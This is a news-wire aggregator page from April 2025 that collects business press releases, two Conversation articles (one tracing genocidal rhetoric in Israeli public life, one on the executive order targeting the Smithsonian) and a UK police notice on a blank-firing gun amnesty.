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Category: Entertainment

  • MIL-OSI: CarGurus Report Shows Automotive Affordability Continues to Drive the Market

    Source: GlobeNewswire (MIL-OSI)

    With tariffs going into effect, report uncovers trends in new car supply, consumer demand, and pricing—plus opportunities where shoppers can still find savings

    BOSTON, April 02, 2025 (GLOBE NEWSWIRE) — CarGurus (Nasdaq: CARG), the No. 1 visited digital auto platform for shopping, buying, and selling new and used vehicles1, today released its Quarterly Review for Q1 2025. The report provides a view into the key trends influencing pricing, inventory, and demand for new and used vehicles so far this year, along with factors that could impact the road ahead.

    “It’s no secret that the first quarter has been dominated by tariff news,” said Kevin Roberts, Director of Economic and Market Intelligence at CarGurus. “Steady consumer purchase patterns for most of the first quarter suggest a market that was in wait-and-see mode. But a shift in urgency has taken hold as impending tariffs on auto imports—which account for nearly half of new listings—start to take effect, influencing an uptick in activity on dealer lots and new car sales in recent days.”

    New car pricing continues to be one of the most pressing challenges for the market, with vehicles under $30,000 accounting for 13% of inventory, a sharp contrast to 37% in Q1 2020. With tariffs, affordable new vehicles may become harder to find as the average list price could increase by over $3,300 to approximately $52,800. According to a CarGurus analysis of current tariff policies, the share of listings priced under $30,000 could decline by 42%, while those above $50,000 would increase by 15%.

    Other key themes from Q1 2025 include: 

    • Tariffs trigger a late-month surge: Days to Turn during Q1 remained stable with little variation across countries of origin, showing earlier tariff speculation didn’t translate to increased urgency. But, a late-month shift took hold after the tariff news broke on March 26th, pushing estimated new car retail sales up by nearly 30% month-over-month. A focus on value and practicality drove import demand throughout the quarter, with imported models in lowest supply being compacts and fuel-efficient options mostly priced under $40,000. CarGurus analysis shows the most popular imported models with the lowest inventory include nameplates like Toyota’s RAV4 and Tacoma; Honda’s Civic and CR-V; and Subaru’s Crosstrek and Forester.
    • The used market has more options, but not without trade-offs: The used market offers shoppers some relief from tariff-related increases, but value for the money in this segment is also shifting. While used car inventory is up, buyers seeking affordability face a selection with older vehicles and higher mileage. In Q1 2020, a budget of $15,000 to $20,000 would afford an approximately four-year-old model with 47,000 miles, while today that translates to a nearly seven-year-old car with 73,000 miles. Further, CarGurus analysis shows that almost two-thirds of used sales (64%) in Q1 2020 were under $20,000, while that share dropped to 43% in Q1 2025.
    • Used electric vehicles (EVs) present a bright spot in the affordability story: The used EV market is steadily gaining ground as selection rises and prices stabilize to an average of about $36,000. With affordability taking center stage, the category is emerging as a practical, low-mileage alternative. The under-$25,000 market especially shines as used EVs turned faster than comparably priced internal combustion engine models. Used models like the Nissan LEAF and Chevrolet Bolt have averaged under $17,000 in Q1 2025 (with mileage under 32,000), standing out in a market driven by value and affordability.

    CarGurus also shared tips for shoppers navigating the market today:

    • Stay informed on price trends: Platforms like CarGurus, which provides unbiased deal ratings on the largest selection of new and used vehicles in the U.S.2, are a powerful resource to compare prices and track inventory. Used car shoppers can also turn to CarGurus’ Price Trends tool to research and track model trends.
    • Understand buying power early in the process: Many sites, including CarGurus, enable shoppers to get pre-qualified for financing from the comfort of home, letting them browse listings with real interest rates in hand and filter options by estimated monthly payment.
    • Consider a wider search radius: For those with a specific model in mind, there may be a benefit in searching broadly to get the best price since local market demand can also impact car values. Using online search tools, shoppers can view pricing across regions and consider how delivery costs factor into getting the best deal.

    To learn more about these trends, view the CarGurus Quarterly Review for Q1 2025 here.

    About CarGurus, Inc.

    CarGurus (Nasdaq: CARG) is a multinational, online automotive platform for buying and selling vehicles that is building upon its industry-leading listings marketplace with both digital retail solutions and the CarOffer online wholesale platform. The CarGurus platform gives consumers the confidence to purchase and/or sell a vehicle either online or in-person, and it gives dealerships the power to accurately price, effectively market, instantly acquire, and quickly sell vehicles, all with a nationwide reach. The company uses proprietary technology, search algorithms, and data analytics to bring trust, transparency, and competitive pricing to the automotive shopping experience. CarGurus is the most visited automotive shopping site in the U.S. 1

    CarGurus also operates online marketplaces under the CarGurus brand in Canada and the U.K. In the U.S. and the U.K., CarGurus also operates the Autolist and PistonHeads online marketplaces, respectively, as independent brands.

    To learn more about CarGurus, visit www.cargurus.com, and for more information about CarOffer, visit www.caroffer.com.

    CarGurus® is a registered trademark of CarGurus, Inc., and CarOffer® is a registered trademark of CarOffer, LLC. All other product names, trademarks and registered trademarks are the property of their respective owners.

    1Similarweb: Traffic Report [Cars.com, Autotrader, TrueCar, CARFAX Listings (defined as CARFAX Total visits minus Vehicle History Reports traffic)], Q4 2024, U.S.
    2Compared to Autotrader.com, Cars.com, TrueCar.com (YipitData as of September 30, 2024), and CarFax (Joreca as of September 30, 2024)

    Media Contact:
    Maggie Meluzio
    Director, Public Relations & External Communications
    pr@cargurus.com

    Investor Contact:
    Kirndeep Singh
    Vice President, Investor Relations
    investors@cargurus.com

    The MIL Network –

    April 3, 2025
  • MIL-OSI: Fullstory Unveils AI Agent-Powered Behavioral Data Solutions To Transform Customer And Employee Experiences

    Source: GlobeNewswire (MIL-OSI)

    ATLANTA, April 02, 2025 (GLOBE NEWSWIRE) — Fullstory, a leading behavioral data company, today announced the launch of its suite of cutting-edge solutions designed to help businesses surface deep customer and employee insights, drive decisions, boost performance, and optimize digital experiences at scale.

    As digital interactions grow more complex, businesses often struggle to extract meaningful insights from vast behavioral datasets. Fullstory’s new solutions solve this challenge by leveraging AI agents across multiple products, providing organizations with the tools to act on customer and employee behaviors, eliminate friction, and power smarter AI models.

    “Agentic AI isn’t about replacing human decision-making—it’s about accelerating it,” said Scott Voigt, CEO of Fullstory. “At Fullstory, we see a future where AI intelligently handles the busywork, spots patterns faster than any team could, and helps you act with clarity and speed. It’s not magic — though it might feel like it. It’s just better, faster ways to work.”

    Introducing: StoryAI
    StoryAI, Fullstory’s collection of proprietary AI agents, is infused throughout its products. It helps businesses achieve more with their existing data, giving clients deep analytics–without the need for manual investigation–so they can accelerate personalization, optimization, and growth. With Fullstory StoryAI, customers can use AI agents to:

    • Streamline multiple-session reviews, simplify reporting, and identify funnel drop-offs
    • Proactively spot problems to prevent churn and accelerate revenue
    • Ask questions in natural language and get actionable answers instantly
    • Predict what users will do next and deliver personalized experiences that boost revenue
    • Detect fraudulent activity and take appropriate action

    “StoryAI’s multi-session Summaries have transformed how we work,” said John Serrano, manager of IT digital operations at JetBlue. “No more hours of replays—Fullstory’s StoryAI instantly pinpoints where our users struggle, saving us time, improving our decisions, and helping us fix friction to give our customers the best experience possible.”

    Introducing: Workforce
    Workforce gives Fullstory customers visibility into their employees’ digital tools and provides insights needed to optimize workflows for better productivity, reduced frustration, and improved digital employee experience. With Fullstory Workforce, customers can:

    • Understand the usage of internal tools, reduce under-utilized licenses, and consolidate redundancies
    • Identify employee workflows across tools, reduce process friction, optimize employee experience, and improve efficiency and productivity
    • Streamline internal support by providing IT with tools and context to help employees quickly and with ease

    “Workforce gives me power through transparency. I now know the footprint of what applications are out there, how many, who’s using them, and the frequency in which they’re being used,” said Justin Hauschildt, director of enterprise applications and delivery enablement at Slalom Consulting. “It gives me compelling, objective data to demonstrate the business case behind spend and roadmapping decisions.”

    Additional Product Updates
    Fullstory’s product suite delivers digital behavioral data and insights when and where their customers need them, giving businesses a comprehensive view of how users interact with their digital properties, and also now includes:

    • Fullstory Analytics – Fullstory’s flagship product assesses a customer’s mobile and web experiences, surfacing insights from digital behaviors that allow for experience optimization, improved satisfaction–and, ultimately, increased revenue.
    • Fullstory Anywhere – Can send Fullstory’s behavioral data directly into a customer’s warehouse of choice or can stream it in real-time anywhere in the customer’s ecosystem. With Fullstory Anywhere, customers can:
      • Integrate rich insights into other business data by exporting structured digital behavioral data into their data warehouse or cloud storage infrastructure
      • Leverage the power of their data warehouse to analyze massive datasets, uncover hidden trends, and use those insights to segment customers and personalize experiences at scale
      • Create intelligent applications and personalized experiences across any digital touchpoint by activating real-time behavioral signals and event streams

    “Never before have business leaders had this level of holistic insights and the ability to act on them, all in one place,” said Claire Fang, chief product and technology officer at Fullstory. “Our new solutions completely reimagine what value behavioral data can bring to businesses. They are focused on driving timely actions with the power of behavioral data and AI. Spending days or weeks analyzing data and figuring out what to do is a thing of the past. I am very excited to share these capabilities with our customers to transform their digital experiences.”  

    Fullstory’s suite of AI agent-powered products is now available for enterprises looking to transform their customer and employee experiences. To learn more about Fullstory’s behavioral data products, visit www.fullstory.com/platform.

    About Fullstory
    Fullstory is on a mission to help technology leaders make better, more informed decisions by injecting behavioral data into their analytics stack. The company’s patented technology unlocks the power of quality behavioral data at scale by transforming every digital visit into actionable data and insights. With Fullstory, enterprises can get closer to their customers’ true sentiments and intentions to predict what they want, create personalized experiences, and drive conversion, loyalty, and revenue. Fullstory is headquartered in Atlanta, USA, with regional teams across North America, EMEA, and APAC. For more information, visit www.fullstory.com.

    Fullstory Media Relations
    Alexandra King
    Director of Communications
    pr@fullstory.com 

    The MIL Network –

    April 3, 2025
  • MIL-OSI: First Mid Bancshares, Inc. to Announce First Quarter 2025 Results on April 30

    Source: GlobeNewswire (MIL-OSI)

    MATTOON, Ill., April 02, 2025 (GLOBE NEWSWIRE) — First Mid Bancshares, Inc. (NASDAQ: FMBH) (the “Company”) announced today that it intends to issue its first quarter 2025 financial results after market close on Wednesday, April 30, 2025. Along with the press release announcing the financial results, the Company will publish an investor presentation and make it available via the investor relations section of its website.

    About First Mid: First Mid Bancshares, Inc. (“First Mid”) is the parent company of First Mid Bank & Trust, N.A., First Mid Insurance Group, Inc., and First Mid Wealth Management Co. First Mid is a $7.5 billion community-focused organization that provides a full-suite of financial services including banking, wealth management, brokerage, Ag services, and insurance through a network of locations throughout Illinois, Missouri, Texas, and Wisconsin and a loan production office in the greater Indianapolis area. Together, our First Mid team takes great pride in providing solutions and services to the customers and communities and has done so over the last 160 years. More information about the Company is available on our website at www.firstmid.com.

    Investor Contact:
    Austin Frank
    SVP, Shareholder Relations
    217-258-5522
    afrank@firstmid.com

    Matt Smith
    Chief Financial Officer
    217-258-1528
    msmith@firstmid.com

    The MIL Network –

    April 3, 2025
  • MIL-OSI: Traliant Expands Workplace Harassment Prevention Training with Industry-Specific and Global Offerings

    Source: GlobeNewswire (MIL-OSI)

    NEW YORK, April 02, 2025 (GLOBE NEWSWIRE) — Traliant, a leader in online compliance training, has introduced industry-specific and global versions of its Preventing Workplace Harassment: 2025 Edition training. Designed to create safer work environments, this expansion reinforces Traliant’s commitment to providing customizable, interactive training that meets the unique needs of today’s high-growth industries.

    Workplace harassment, including sexual harassment, affects every sector, but each industry’s unique environment can shape how employees experience and respond to misconduct. A recent Traliant survey of workplace employees found that 48% of respondents had witnessed harassing behavior in the past five years.

    To address these unique challenges, Traliant’s Preventing Workplace Harassment: 2025 Edition training now includes industry-specific training for seven key sectors: construction, healthcare, hospitality, manufacturing, office, restaurant and retail. These enhancements provide relatable, real-world scenarios tailored to employees’ daily work environments, deepening engagement and knowledge retention.

    The course meets training requirements in all 50 states and aligns with the January 20 and 21, 2025 executive orders relating to diversity, equity, and inclusion (DEI) and the Administration’s policy on sex and gender.

    Additionally, new country-specific versions align with regional laws and regulations in Australia, Canada, India and the UK, alongside a global version covering relevant laws across 40 countries. These international courses feature localized actors and scenarios, creating a more immersive and relatable learning experience tailored to diverse workplace environments.

    “Across industries and geographies, every employee plays a vital role in creating a workplace free from harassment,” said Mike Dahir, CEO of Traliant. “Workplace training that is tailored to the unique scenarios they see daily equips employees with the knowledge, skills and confidence to effectively intervene and support those in need, fostering a safer environment for both them and their colleagues.”

    As part of its commitment to workplace safety, Traliant also introduced an updated Bystander Intervention course designed to help build a speak-up culture and equip employees with practical intervention skills. Featuring real-world, unscripted interviews, the course ensures learning is relatable, engaging and impactful.

    With these enhancements, organizations worldwide can provide legally compliant, relevant training that fosters workplaces where employees feel safe, respected and empowered to take action.

    To learn more about Traliant, visit: https://www.traliant.com/.

    About Traliant
    Traliant, a leader in compliance training, is on a mission to help make workplaces better, for everyone. Committed to a customer promise of “compliance you can trust, training you will love,” Traliant delivers continuously compliant online courses, backed by an unparalleled in-house legal team, with engaging, story-based training designed to create truly enjoyable learning experiences.

    Traliant supports over 14,000 organizations worldwide with a library of curated essential courses to broaden employee perspectives, achieve compliance and elevate workplace culture, including sexual harassment training, inclusion training, code of conduct training, and many more.

    Backed by PSG, a leading growth equity firm, Traliant holds a coveted position on Inc.’s 5000 fastest-growing private companies in America for four consecutive years, along with numerous awards for its products and workplace culture. For more information, visit http://www.traliant.com and follow us on LinkedIn. 

    Contact
    Reagan Bennet
    traliant@v2comms.com

    The MIL Network –

    April 3, 2025
  • MIL-OSI Global: In Israel, calls for genocide have migrated from the margins to the mainstream

    Source: The Conversation – USA – By Tamir Sorek, Liberal Arts Professor of Middle East History, Penn State

    A Palestinian woman cries while sitting on the rubble of her home, which was destroyed in an Israeli strike on March 18, 2025. Eyad Baba/AFP via Getty Images

    Thirty years ago in Israel, advocating for genocide could land you in prison.

    In April 1994, an Israeli rabbi named Ido Alba published an article that read, in part, “In war, as long as the war has not been decided, it is a commandment to kill every non-Jew from the nation one is fighting against, even women and children. Even when they do not directly endanger the one killing them, there is concern that they may assist the enemy in the continuation of the war.”

    An Israeli court convicted Alba for incitement to racism and encouraging violence and sentenced him to four years in prison.

    Now the legal system is ignoring similar rhetoric.

    In December 2023, following the Hamas attack on Oct. 7, 2023, which resulted in the killing of approximately 1,200 Israeli civilians, soldiers and migrant workers, Rabbi Moshe Ratt, who’s seen as a public intellectual among Israeli West Bank settlers, composed a long post on Facebook.

    In it, he noted that in the past, some people may have struggled with the morality of destroying an entire people, including women and children. Now they don’t. Obliquely referring to the Palestinians, he added, “Some nations have descended into such depths of evil and corruption that the only solution is to eradicate them completely, leaving no trace.”

    More recently, on Feb. 24, 2025, Nissim Vaturi, one of the deputy speakers in the Knesset, Israel’s parliament, called for killing all Palestinian adults in Gaza.

    Ratt’s and Vaturi’s words went unpunished. In fact, genocidal rhetoric like theirs – in which the entire destruction of a people is proposed – has become more common in Israel.

    As a scholar of Israeli society, I’ve written about how calls for the eradication of Palestinians didn’t simply emerge out of the violence on Oct. 7, 2023.

    They date back to the 1930s, and have gained steam – and more public acceptance – as prospects for peace fell apart in the 1990s, existential anxiety among Israelis has grown, and religious Zionists have gained more political power in the 21st century.

    Colonial anxieties

    Calls to eliminate the Palestinian presence date to before Israel’s official founding in 1948. When Zionist immigration to the region began at the end of the 19th century, less than 10% of the population was Jewish. The native, largely Muslim population represented a fundamental obstacle to establishing a Jewish state.

    The founding fathers of Zionism openly discussed ideas for relocating Palestinians, which were usually envisioned as voluntary. These notions are not entirely unlike U.S. President Donald Trump’s proposal to transfer Palestinians from Gaza to other countries.

    Attempts to dispossess majority indigenous populations are usually violent themselves, however, and almost always run up against resistance. For example, clashes took place between British colonists and Native Americans in the 17th century, between Dutch colonists and South African tribes in the 17th century, and between Han Chinese and Tibetans in the 20th century. In that same vein, conflict between Zionist settlers and Palestinians has existed from the outset.

    Repeated violence and attacks can fuel existential anxiety among settlers, along with fantasies of achieving “permanent security” or absolute safety against future threats. Among Jewish Israelis, the collective memory of persecution – culminating in the genocide of European Jews during the Holocaust – has added another important layer to the longing for permanent security.

    Biblical genocidal stories

    In Israel, there’s also a history of biblical justifications for violence and genocide. This sort of rhetoric has waxed and waned over time; it’ll often exist on the margins in times of relative peace, but move into the mainstream during periods of violence and existential anxiety.

    Most of the forerunners of modern Zionism saw themselves as secular. Nonetheless, they adopted major Jewish symbols and treated Jewish tradition and religious texts as a source of inspiration, even as they didn’t ascribe them legal authority.

    This created an opening for political leaders to use biblical texts to promote political goals.

    The Bible contains some explicit narratives of annihilation. The most well known is the story of Amalek, a nomadic people identified in the Book of Deuteronomy as the archenemy of the Israelites. In Chapter 25, Moses commanded the Israelites to “blot out the remembrance of Amalek from under heaven.” A related commandment involves the annihilation of the Seven Nations of Canaan, which inhabited the “promised land” when the Israelites conquered it. In Chapter 20, the Israelites are commanded: “You shall not leave a single soul alive. Completely destroy.”

    A 1754 painting depicts the battle between the Israelites and the Amalekites.
    Heritage Images/Hulton Fine Art Collection via Getty Images

    Throughout Jewish history, these edicts and stories have generally been interpreted as historical accounts or as metaphors, not commands to commit genocide.

    However, settlers of lands occupied by indigenous peoples – not just in Israel, but in other countries, too – have deployed these texts to condone mass violence. For example, in colonial America, Puritan settlers justified massacres of Native Americans by comparing them with Amalek.

    During the Arab-Israeli war in 1948, Israeli army education officers distributed texts to soldiers that read, “In biblical times, Saul exterminated all of Amalek, men and women, youth and elderly, and even sheep and cattle.” The materials also noted that “biblical Joshua was commanded to annihilate the nations of the land and was forbidden to make any treaties with them.”

    During that war, Israel uprooted an estimated 750,000 Palestinians. Israeli forces and civilians killed thousands who attempted to return over the ensuing years.

    Roughly 750,000 Palestinians were displaced from their homes in 1948.
    History/Universal Images Group via Getty Images

    Messianistic forces unleashed

    After the 1948 Arab-Israeli war, this sort of religious justification for wiping out the Palestinians returned to the margins.

    But another development would fuel genocidal rhetoric.

    Decisive military victories during the 1967 Arab-Israeli war, also known as the Six-Day War, involved the Israeli conquest of holy sites in the West Bank. Many religious Zionists perceived the military victories as miraculous.

    For religious Zionists, the state of Israel is a sacred endeavor. They’ve generally been less interested than secular Zionists in adhering to international norms and taking geopolitical considerations into account when pushing for the settlement of contested territories.

    After 1967, religious settler movements were emboldened. Groups such as Gush Emunim pushed the government to settle the newly occupied territories, which included the West Bank and the Gaza Strip. For these religious Zionists, the settlement project is not simply a land grab: Settlers are taking land that the Bible has promised to them.

    In 1980, Israel Hess, who then held the official position as rabbi of Israel’s Bar-Ilan University, wrote in the student bulletin, “In a war between Israel and Amalek, it is a commandment to kill and annihilate infants and babies. And who is Amalek? Anyone who launches a war against the Jews.” These words triggered public backlash and prompted protests from several secular Zionist politicians.

    Existential fears grow

    In the 1990s, calls for widespread violence were largely marginalized, since there was hope for a political compromise with the Palestinians.

    After these talks failed, however, the rhetoric and ideas of religious Zionists continued to migrate to the political center, particularly during and after the Palestinian uprising known as the Second Intifada. Taking place from 2000 to 2005, the uprising involving a series of suicide attacks in Israeli cities profoundly shocked the Jewish Israeli public, spurring the reemergence of deep existential anxiety.

    Rescue workers rush an injured Israeli woman from the scene of a Palestinian suicide bombing on Jan. 27, 2002, in Jerusalem.
    Getty Images

    With no peaceful solution for the conflict on the horizon, Israeli and Palestinian figures who viewed politics through a theological framework kept accumulating power.

    In 2014, Ayelet Shaked, then a member of the Knesset and later the minister of justice, shared an article on social media that read, “The Palestinian people declared war on us, and we have to fight back … and in wars the enemy is usually an entire people, with its old men and women, its cities and villages, its property and infrastructure.”

    Meanwhile, the dean of Quranic studies at the Islamic University of Gaza said in a 2015 television interview, “All Jews in Palestine today are fair game – even the women.”

    As each side retaliated against the other, annihilation started to sound like a reasonable solution – a process that historian Yoav Di-Capua has termed “genocidal mirroring.”

    The perfect storm

    This mirroring does not imply a symmetry. Israel, with its superior military capabilities, has a significantly greater capacity to inflict harm on Palestinians.

    The government formed in Israel following the 2022 election was unprecedented. For the first time in the nation’s history, the government depended upon ultranationalist religious factions, such as one called Jewish Power. The party has three official rabbis who advise its politicians. One of them, Dov Lior, is a prominent advocate of the idea that Palestinians are Amalek. Another, Yisrael Ariel, has written that the Torah’s commandment “Thou shalt not kill” does not apply to non-Jews.

    When the Oct. 7, 2023, Hamas attacks reignited Israelis’ deep-seated fears of annihilation, calls for indiscriminate revenge grew louder.

    As Rabbi Eliyahu Mali, the head of a military program for religious students in Jaffa, said in March 2024:

    “If you don’t kill them first, they will kill you. The terrorists of today are the children of the previous operation whom you kept alive, and the women are those who produce the terrorists … Do not try to outsmart the Torah. The Torah tells you: ‘Do not keep alive any soul,’ so you should not keep alive any soul.”

    Some secular Israelis joined in. Danny Neuman, a former football star and television commentator, said on TV in December 2023, “I am telling you, in Gaza, without exception, they are all terrorists, sons of dogs. They must be exterminated, all of them killed.”

    Kinneret Barashi, a lawyer and a television host, tweeted in February 2025, “Every trace of the murderous mutations in Gaza must be erased, from the delivery rooms to the last elderly person in Gaza.”

    These statements coincide with a grim reality on the ground. Since the Oct. 7 attacks, Israeli retaliation in Gaza has cost the lives of more than 64,000 Palestinians. Public health experts estimate that the obliteration of infrastructure and corresponding starvation, lack of access to medical care and spread of infectious diseases, could bring the death toll to the hundreds of thousands.

    Meanwhile, large swaths of the Israeli public appear to support the mass expulsion of Palestinians and condone the concept of genocide in the abstract, according to a recent poll I commissioned through the Israeli polling firm Geocartography.

    In the representative sample of Jewish Israelis who were polled from March 10-11, 2025, 82% supported the forced expulsion of Gaza’s population to other countries, while 56% endorsed the expulsion of Israel’s Arab citizens. By comparison, according to a 2003 poll, only 46% supported the “transfer of Palestinian residents of the occupied territories,” and just 31% supported the “transfer of Israel’s Arab citizens.”

    Moreover, in my poll I relayed a story from the Book of Joshua, in which the ancient Israelites conquered the city of Jericho and killed all of its inhabitants. When I asked respondents whether the Israeli army, when conquering an enemy city, should act similarly to the Israelites when they conquered Jericho, 47% of respondents said they should.

    Tamir Sorek previously received funding from the Fullbright Program and the Alexander Von Humboldt Foundation.

    – ref. In Israel, calls for genocide have migrated from the margins to the mainstream – https://theconversation.com/in-israel-calls-for-genocide-have-migrated-from-the-margins-to-the-mainstream-250010

    MIL OSI – Global Reports –

    April 3, 2025
  • MIL-OSI Global: With its executive order targeting the Smithsonian, the Trump administration opens up a new front in the history wars

    Source: The Conversation – USA – By Jennifer Tucker, Professor of History, Wesleyan University

    A portrait of President Donald Trump in the ‘America’s Presidents’ exhibition at the Smithsonian Institution’s National Portrait Gallery. Win McNamee/Getty Images

    I teach history in Connecticut, but I grew up in Oklahoma and Kansas, where my interest in the subject was sparked by visits to local museums.

    I fondly remember trips to the Fellow-Reeves Museum in Wichita, Kansas, and the National Cowboy & Western Heritage Museum in Oklahoma City. A 1908 photograph of my great-grandparents picking cotton has been used as a poster by the Oklahoma Historical Society.

    This love of learning history continued into my years as a graduate student of history, when I would spend hours at the Smithsonian Institution’s National Air and Space Museum learning about the history of human flight and ballooning. As a professor, I’ve integrated the institution’s exhibits into my history courses.

    The Trump administration, however, is not happy with the way the Smithsonian Institution and other U.S. museums are portraying history.

    On March 27, 2025, the president issued an executive order, “Restoring Truth and Sanity to American History,” which asserted, “Over the past decade, Americans have witnessed a concerted and widespread effort to rewrite our Nation’s history, replacing objective facts with a distorted narrative driven by ideology rather than truth. Under this historical revision, our Nation’s unparalleled legacy of advancing liberty, individual rights, and human happiness is reconstructed as inherently racist, sexist, oppressive, or otherwise irredeemably flawed.”

    Trump singled out a few museums, including the Smithsonian, dedicating a whole section of the order on “saving” the institution from “divisive, race-centered ideology.”

    Of course, history is contested. There will always be a variety of views about what should be included and excluded from America’s story. For example, in my own research, I found that Prohibition-era school boards in the 1920s argued over whether it was appropriate for history textbooks to include pictures of soldiers drinking to illustrate the 1791 Whiskey Rebellion.

    But most recent debates center on how much attention should be given to the history of the nation’s accomplishments over its darker chapters. The Smithsonian, as a national institution that receives most of its funds from the federal government, has sometimes found itself in the crosshairs.

    America’s historical repository

    The Smithsonian Institution was founded in 1846 thanks to its namesake, British chemist James Smithson.

    Smithson willed his estate to his nephew and stated that if his nephew died without an heir, the money – roughly US$15 million in today’s dollars – would be donated to the U.S. to found “an establishment for the increase and diffusion of knowledge.”

    The idea of a national institution dedicated to history, science and learning was contentious from the start.

    An 1816 portrait of British chemist James Smithson.
    Heritage Art/Heritage Images via Getty Images

    In her book “The Stranger and the Statesman,” historian Nina Burleigh shows how Smithson’s bequest was nearly lost due to battles between competing interests.

    Southern plantation owners and western frontiersmen, including President Andrew Jackson, saw the establishment of a national museum as an unnecessary assertion of federal power. They also challenged the very idea of accepting a gift from a non-American and thought that it was beneath the dignity of the government to confer immortality on someone simply because of a large donation.

    In the end, a group led by congressman and former president John Quincy Adams ensured Smithson’s vision was realized. Adams felt that the country was failing to live up to its early promise. He thought a national museum was an important way to burnish the ideals of the young republic and educate the public.

    Today the Smithsonian runs 14 education and research centers, the National Zoo and 21 museums, including the National Portrait Gallery and the National Museum of African American History and Culture, which was created with bipartisan support during President George W. Bush’s administration.

    In the introduction to his book “Smithsonian’s History of America in 101 Objects,” cultural anthropologist Richard Kurin talks about how the institution has also supported hundreds of small and large institutions outside of the nation’s capital.

    In 2024, the Smithsonian sent over 2 million artifacts on loan to museums in 52 U.S. states and territories and 33 foreign countries. It also partners with over 200 affiliate museums. YouGov has periodically tracked Americans’ approval of the Smithsonian, which has held steady at roughly 68% approval and 2% disapproval since 2020.

    Smithsonian in the crosshairs

    Precursors to the Trump administration’s efforts to reshape the Smithsonian took place in the 1990s.

    In 1991, the Smithsonian American Art Museum, which was then known as the National Museum of American Art, created an exhibition titled “The West as America, Reinterpreting Images of the Frontier, 1820-1920.” Conservatives complained that the museum portrayed western expansion as a tale of conquest and destruction, rather than one of progress and nation-building. The Wall Street Journal editorialized that the exhibit represented “an entirely hostile ideological assault on the nation’s founding and history.”

    The exhibition proved popular: Attendance to the National Museum of American Art was 60% higher than it had been during the same period the year prior. But the debate raised questions about whether public museums were able to express ideas that are critical of the U.S. without risk of censorship.

    In 1994, controversy again erupted, this time at the National Air and Space Museum over a forthcoming exhibition centered on the Enola Gay, the plane that dropped the first atomic bomb on Hiroshima 50 years prior.

    Should the exhibition explore the loss of Japanese lives? Or emphasize the U.S. war victory?

    Veterans groups insisted that the atomic bomb ended the war and saved 1 million American lives, and demanded the removal of photographs of the destruction and a melted Japanese school lunch box from the exhibit. Meanwhile, other activists protested the exhibition by arguing that a symbol of human destruction shouldn’t be commemorated at an institution that’s supposed to celebrate human achievement.

    Protesters demonstrate against the opening of the Enola Gay exhibit outside the Smithsonian Institution’s National Air and Space Museum in 1995.
    Joyce Naltchayan/AFP via Getty Images

    Republicans won the House in 1994 and threatened cuts to the Smithsonian’s budget over the Enola Gay exhibition, compelling curators to walk a tightrope. In the end, the fuselage of the Enola Gay was displayed in the Smithsonian’s National Air and Space Museum. But the exhibit would not tell the full story of the plane’s role in the war from a myriad of perspectives.

    Trump enters the fray

    In 2019, The New York Times launched the 1619 project, which aimed to reframe the country’s history by placing slavery and its consequences at its very center. The first Trump administration quickly responded by forming its 1776 commission. In January 2021, it produced a report critiquing the 1619 project, claiming that an emphasis on the country’s history of racism and slavery was counterproductive to promoting “patriotic education.”

    That same year, Trump pledged to build “a vast outdoor park that will feature the statues of the greatest Americans to ever live,” with 250 statues to mark the 250th anniversary of the Declaration of Independence.

    President Joe Biden rescinded the order in 2021. Trump reissued it after retaking the White House, and pointed to figures he’d like to see included, such as Christopher Columbus, George Washington, Betsy Ross, Sitting Bull, Bob Hope, Thurgood Marshall and Whitney Houston.

    I don’t think there is anything wrong with honoring Americans, though I think a focus on celebrities and major figures clouds the fascinating histories of ordinary Americans. I also find it troubling that there seems to be such a concerted effort to so forcefully shape the teaching and understanding of history via threats and bullying. Yale historian Jason Stanley has written about how aspiring authoritarian governments seek to control historical narratives and discourage an exploration of the complexities of the past.

    Historical scholarship requires an openness to debate and a willingness to embrace new findings and perspectives. It also involves the humility to accept that no one – least of all the government – has a monopoly on the truth.

    In his executive order, Trump noted that “Museums in our Nation’s capital should be places where individuals go to learn.” I share that view. Doing so, however, means not dismantling history, but instead complicating the story – in all its messy glory.

    The Conversation U.S. receives funding from the Smithsonian Institution.

    Jennifer Tucker does not work for, consult, own shares in or receive funding from any company or organization that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. With its executive order targeting the Smithsonian, the Trump administration opens up a new front in the history wars – https://theconversation.com/with-its-executive-order-targeting-the-smithsonian-the-trump-administration-opens-up-a-new-front-in-the-history-wars-253397

    MIL OSI – Global Reports –

    April 3, 2025
  • MIL-OSI Security: Nearly 3,000 top-venting blank firers handed during national gun amnesty

    Source: United Kingdom National Police Chiefs Council

    National gun amnesty took place in February across England and Wales.

    Police forces across England and Wales have seen 2,962 Turkish manufactured guns handed in as part of a national amnesty which took place in February.

    The top-venting blank firing (TVBF) guns have become popular with organised criminals in recent years due to the ease at which they are readily convertible into lethal firearms. Tests by the National Crime Agency and policing, funded by the Home Office, show models produced by four Turkish manufacturers are readily convertible and therefore illegal. TVBFs are legal to buy in the UK without a licence by over 18s unless they are readily convertible.

    Police forces across England and Wales held a four-week Firearms Amnesty for Turkish manufactured TVBFs namely models with the brand names ‘Retay’, ‘Ekol’, ‘Ceonic’ and ‘Blow’, in February.

    Assistant Chief Constable Tim Metcalfe, National Police Chiefs’ Council Lead for the Criminal Use of Firearms, said: “This is a considerable step in making our streets safer and stopping these weapons from being used by criminals.

    “I would like to thank the public for their support during the amnesty and handing in these weapons which are now illegal to possess.

    “If you have any information about illegal firearms, such as the Turkish manufactured TVBF, I would ask you contact the police or Crimestoppers so that they can be taken off the streets.”

    The amnesty which took place between 3 February and 28 February 2025 saw 2,962 Turkish manufactured top-venting firers and was aimed at anyone in possession of a TVBF to hand their weapon in to avoid prosecution and up to 10 years imprisonment.

    In their original state TVBFs have a fully blocked barrel and are designed to discharge only blank cartridges. When discharged, combustion gases vent from the top of the weapon. TVBFs are sold with at least 50 per cent of their visible surface painted a bright colour however, criminals may paint them black so they look like an original lethal purpose (OLP) weapon as well as convert them to a lethal purpose firearm.

    Since 2021, UK law enforcement has recovered more than 1,000 converted TVBFs in criminal circumstances. Firearms legislation has not changed; the weapons are illegal to own under the Firearms Act 1968 as they can be readily converted using common household tools and without specialist skill on the part of the person carrying out the conversion. Testing completed by the NCA has demonstrated this.

    Charles Yates, National Crime Agency deputy director, said: “The amnesty results are excellent with very large numbers of surrenders of these easily converted firearms.

    “This work is a superb example of the public and the firearms trade coming together to help reduce the risk of the criminal use of these weapons.

    “Though firearms crime in the UK is relatively low compared with elsewhere in Europe and is among the lowest in the world, the NCA, policing and Border Force will continue to do everything possible to suppress the firearms threat and to protect the UK public.”

